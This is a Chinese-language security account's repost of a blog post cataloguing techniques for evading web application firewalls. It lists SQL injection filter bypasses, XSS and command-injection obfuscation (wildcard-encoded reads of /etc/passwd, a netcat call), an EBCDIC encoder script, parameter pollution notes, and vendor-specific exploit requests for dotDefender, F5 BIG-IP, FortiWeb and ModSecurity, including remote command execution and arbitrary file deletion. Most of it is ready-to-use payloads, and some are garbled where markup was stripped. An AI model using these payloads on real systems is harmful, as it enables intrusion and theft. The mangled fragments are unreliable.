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干货 | 各种WAF绕过手法学习

天億网络安全  · 公众号  ·  · 2021-04-27 16:58

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内容来源: 博客: jax777.win


0X00    Fuzz/爆破

fuzz字典

1.Seclists/Fuzzing

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing

2.Fuzz-DB/Attack

https://github.com/fuzzdb-project/fuzzdb/tree/master/attack

3.Other Payloads 可能会被ban ip,小心为妙。

https://github.com/foospidy/payloads

0X01    正则绕过

多少waf 使用正则匹配。

黑名单检测/bypass

Case : SQL 注入

• Step 1:
过滤关键词: and, or, union
可能正则: preg_match('/(and|or|union)/i', $id)
被拦截的语句: union select userpassword from users

bypass语句: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

过滤关键词: and, or, union, where
被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin'

bypass语句: 1 || (select user from users  limit 1) = 'admin'

• Step 3:

过滤关键词: and, or, union, where, limit
被拦截的语句: 1 || (select user from users limit 1) = 'admin'

bypass语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

过滤关键词: and, or, union, where, limit, group by
被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

bypass语句: 1 || (select substr(group_concat(user_id),1,1user from users ) = 1

• Step 5:

过滤关键词: and, or, union, where, limit, group by, select

被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1user from users) = 1

bypass语句: 1 || 1 = 1 into outfile 'result.txt'
bypass语句: 1 || substr(user,1,1) = 'a'

• Step 6:

过滤关键词: andorunion, where, limit, group by, select, '

被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

bypass语句: 1 || user_id is not null
bypass语句: 1 || substr(user,1,1) = 0x61
bypass语句: 1 || substr(user,1,1) = unhex(61)

• Step 7:

过滤关键词: andor, union, where, limit, group by, select, ', hex
被拦截的语句: 1 || substr(user,1,1) = unhex(61)

bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

过滤关键词: andor, union, where, limit, group by, select, ', hex, substr
被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

bypass语句: 1 || lpad(user,7,1)

• Step 9:

过滤关键词: andor, union, where, limit, group by, select, ', hex, substr, white space
被拦截的语句: 1 || lpad(user,7,1)

bypass语句: 1%0b||%0blpad(user,7,1)

0X02        混淆/编码

1. 大小写

标准: <script>alert()script>
Bypassed: <ScRipT>alert()sCRipT>

标准: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL 编码

被阻断语句: ">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode 编码

标准: 
混淆:

被阻断语句: /?redir=http:/ /google.com
Bypassed: /?redir=http://google。com (Unicode 替代)

被阻断语句: loop
=1 onfinish=alert()>x
Bypassed: <marquee loop1 onfinish=alert︵1)>x (Unicode 替代)

TIP: 查看这些说明 this and this reports on HackerOne. :)

4. HTML 实体编码

标准: "><img src=x onerror=confirm()>
Encoded: "> (General form)
Encoded: "> (Numeric reference)

5. 混合编码

Sometimes, WAF rules often tend to filter out a specific type of encoding.

This type of filters can be bypassed by mixed encoding payloads.

Tabs and newlines further add to obfuscation.

混淆 :

<A HREF="h
tt p://6 6.000146.0x7.147/"
>
XSSA>

7. 双重URL编码

这个需要服务端多次解析了url编码

标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

标准: <script>alert()script>
混淆: %253Cscript%253 Ealert()%253C%252Fscript%253E

8. 通配符使用

用于linux命令语句注入,通过shell通配符绕过

标准: /bin/cat /etc/passwd
混淆: /???/??t /???/??ss??
Used chars: / ? t s

标准: /bin/nc 127.0.0.1 1337
混淆: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. 动态payload 生成

标准: <script>alert()script>
混淆: <script>eval('al'+'er'+'t()')script>

标准: /bin/cat /etc/passwd
混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

标准:

9. 垃圾字符

Normal payloads get filtered out easily.
Adding some junk chars helps avoid detection (specific cases only).
They often help in confusing regex based firewalls.


标准: <script>alert()script>
混淆: <script>+-+-1-+-+alert(1)script>

标准: <BODY onload=alert()>
混淆: <BODY  onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

NOTE: 上述语句可能会破坏正则的匹配,达到绕过。

标准: ClickMe
Bypassed:
#97
v&#97script:&#97lert(1)>ClickMe

10. 插入换行符

部分waf可能会对换行符没有匹配

标准: <iframe src=javascript:confirm(0)">
混淆: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

11. 未定义变量

bash 和 perl 执行脚本中加入未定义变量,干扰正则。

TIP: 随便写个不存在的变量就好。 $aaaa,$sdayuhjbsad,$dad2ed 都可以。

Level 1 Obfuscation: Normal
标准: /bin/cat /etc/passwd
混淆: /bin/cat$u /etc/passwd$u

Level 2 Obfuscation: Postion Based
标准: /bin/cat /etc/passwd
混淆: $u/bin$u/cat$u $u/etc$u/passwd$u

Level 3 Obfuscation: Random characters
标准: /bin/cat /etc/passwd
混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

一个精心制作的payload

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Tab 键和换行符

大多数waf匹配的是空格不是Tab

标准: <IMG SRC="javascript:alert();">
Bypassed: <IMG  SRC=" javascript:alert();">
变形: <IMG SRC=" jav ascri pt:alert ();">

标准: http://test.com/test?id=1 union select 1,2,3
标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

标准: <iframe src=javascript:alert(1)>iframe>
混淆:

<iframe    src=j a v a s c r i p t :a l e r t %28 1 %29>iframe>

13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)

Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
However, the request must still remain valid while using token-breakers.


Case: Unknown Token for the Tokenizer

Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

CaseUnknown Context for the Parser (Notice the uncontexted bracket)

Payload 1: ?id=123);DROP TABLE users --

Payload 2: ?id=1337INTO  OUTFILE ‘xxx’ --


TIP: 更多payload可以看这里 cheat sheet.

14. 其他格式混淆

许多web应用程序支持不同的编码类型(如下表)

混淆成服务器可解析、waf不可解析的编码类型

Case: IIS

IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符

可以发送编码后的参数名和值

原始请求:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--


混淆请求 + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

TIP: 可以使用 这个小脚本 来转化编码

import urllib.parse, sys
from argparse import  ArgumentParser
lackofart = '''
        OBFUSCATOR
'''


def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if '=' and '&' in params:
        if encodeEqualSign:
            equalSign = equalSign.encode(charset)
        if encodeAmpersand:
            ampersand = ampersand.encode(charset)
        params_list = params.split("&")
        for param_pair in params_list:
            param, value = param_pair.split("=")
            if urlDecodeInput:
                param = urllib.parse.unquote(param)
                value = urllib.parse.unquote(value)
            param = param.encode(charset)
            value = value.encode(charset)
            if urlEncodeOutput:
                param = urllib.parse.quote_plus(param)
                value = urllib.parse.quote_plus(value)
            if result:
                result += ampersand
            result += param + equalSign + value
    else:
        if urlDecodeInput:
            params = urllib.parse.unquote(params)
        result = params.encode(charset)
        if urlEncodeOutput:
            result = urllib.parse.quote_plus(result)
    return result

def main():
    print(lackofart)
    parser = ArgumentParser('python3 obfu.py')
    parser._action_groups.pop()

    # A simple hack to have required arguments and optional arguments separately
    required = parser.add_argument_group('Required Arguments')
    optional = parser.add_argument_group('Optional Arguments')

    # Required Options
    required.add_argument('-s''--str', help='String to obfuscate', dest='str')
    required.add_argument('-e''--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')

    # Optional Arguments (main stuff and necessary)
    optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
    optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
    args = parser.parse_args()
    if not len(sys.argv) > 1:
        parser.print_help()
        quit()
    print('Input: %s' % (args.str))
    print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))

if __name__ == '__main__':
    main()
服务器信息 可用编码 说明
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273 对参数名和参数值进行编码
服务器会对参数名和参数值均进行url解码
需要对等号和& and进行编码(不进行url编码)
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 对参数名和参数值进行便慢慢
服务器会对参数名和参数值均进行url解码
等号和&符号不应该以任何方式编码。
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码

0X04        HTTP 参数污染

手法

这种攻击方法基于服务器如何解释具有相同名称的参数
可能造成bypass的情况:
服务器使用最后接收到的参数,WAF只检查第一个参数
服务器将来自类似参数的值联合起来,WAF单独检查它们

下面是相关服务器对参数解释的比较

环境 参数解析 示例
ASP/IIS 用逗号连接 par1=val1,val2
JSP, Servlet/Apache Tomcat 第一个参数是结果 par1=val1
ASP.NET/IIS 用逗号连接 par1=val1,val2
PHP/Zeus 最后一个参数是结果 par1=val2
PHP/Apache 最后一个参数是结果 par1=val2
JSP, Servlet/Jetty 第一个参数是结果 par1=val1
IBM Lotus Domino 第一个参数是结果 par1=val1
IBM HTTP Server 最后一个参数是结果 par1=val2
mod_perl, libapeq2/Apache 第一个参数是结果 par1=val1
Oracle Application Server 10G 第一个参数是结果 par1=val1
Perl CGI/Apache 第一个参数是结果 par1=val1
Python/Zope 第一个参数是结果 par1=val1
IceWarp 返回一个列表 [‘val1’,’val2’]
AXIS 2400 最后一个参数是结果 par1=val2
DBMan 由两个波浪号连接起来 par1=val1~~val2
mod-wsgi (Python)/Apache 返回一个列表 ARRAY(0x8b9058c)

0X05        浏览器的缺陷

Charset Bugs:

可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)

当网站解码的时候,触发payload

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5<
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzipdeflate

当站点加载时,将其编码为我们设置的UTF-32编码,然后由于页面的输出编码为UTF-8,将其呈现为: "

RFC 声明节点名不可以由空白起始

但是我们可以使用特殊字符 ` %, //, !, ?`, etc.

例子:

style=x:expression\28write(1)\29>
 - Works upto IE7 (Source)

XSS Bypass by @Shiva Krishna

javascript:{alert`0`}

XSS Bypass by @Brute Logic

<base href=//knoxss.me?

XSS Bypass by @RenwaX23 (Chrome only)

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>Hj>#x

RCE Payload Detection Bypass by @theMiddle

cat$u




    
+/etc$u/passwd$u
/bin$u/bash$u 
";cat+/etc/passwd+#

Comodo

XSS Bypass by @0xInfection

<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

SQLi by @WAFNinja

0 union/**/select 1,version(),@@datadir

DotDefender

Firewall disable by (v5.0) by @hyp3rlinx

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>falseenabled>

Remote Command Execution (v3.8-5) by @John Dos

POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

Persistent XSS (v4.0) by @EnableSecurity

GET /c?a=<script




    
> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)script>: aa
Keep-Alive: 300

R-XSS Bypass by @WAFNinja

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

XSS Bypass by @0xInfection

<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart= parent ['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
GET - XSS Bypass (v4.02) by @DavidK

/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)"
 />

POST - XSS Bypass (v4.02) by @DavidK

"WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e }='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
clave XSS (v4.02) by @DavidK
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

Fortinet Fortiweb

pcre_expression unvaidated XSS by @Benjamin Mejri

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

CSP Bypass by @Binar10

POST Type Query

POST




    
 //login-app.aspx HTTP/1.1
Host:
User-Agent:
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:

var1=datavar1&var2=datavar12&pad=2399
 bytes>

GET Type Query

http:///path?var1=vardata1&var2=vardata2&pad=

F5 ASM

XSS Bypass by @WAFNinja

<table background="javascript:alert(1)">table>
"/><marquee onfinish=confirm(123)>amarquee>

F5 BIG-IP

XSS Bypass by @WAFNinja

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu ="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

XSS Bypass by @Aatif Khan

"height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
"xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>

report_type XSS by @NNPoster

https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+

POST Based XXE by @Anonymous

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

xml version="1.0" encoding='utf-8' ?>
]>
<message><dialogueType>&e;dialogueType>message>

Directory Traversal by @Anastasios Monachos

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../




    
../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2 F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5 FirePass

SQLi Bypass from @Anonymous

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+

ModSecurity

RCE Payloads Detection Bypass for PL3 by @theMiddle (v3.1)

;+$u+cat+/etc$u/passwd$u

RCE Payloads Detection Bypass for PL2 by @theMiddle (v3.1)

;+$u+cat+/etc$u/passwd+\#

RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)

/???/??t+/???/??ss??

RCE Payloads for PL3 by @theMiddle (v3.0)

/?in/cat+/et?/passw?

SQLi Bypass by @Johannes Dahse (v2.2)

0




    
+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

SQLi Bypass by @Yuri Goltsev (v2.2)

1 AND (select DCount(last(username)&after=1&after=1from users where username='ad1min')

SQLi Bypass by @Ahmad Maulana (v2.2)

1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
SQLi Bypass by @Travis Lee (v2.2)
amUserId=1 union select username,password,3,4 from users

SQLi Bypass by @Roberto Salgado (v2.2)

%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201

SQLi Bypass by @Georgi Geshev (v2.2)

1%0bAND(SELECT%0b1%20FROM%20mysql.x)

SQLi Bypass by @SQLMap Devs (v2.2)

%40%40new%20union%23sqlmapsqlmap...%0Aselect%201
      
     
    
   







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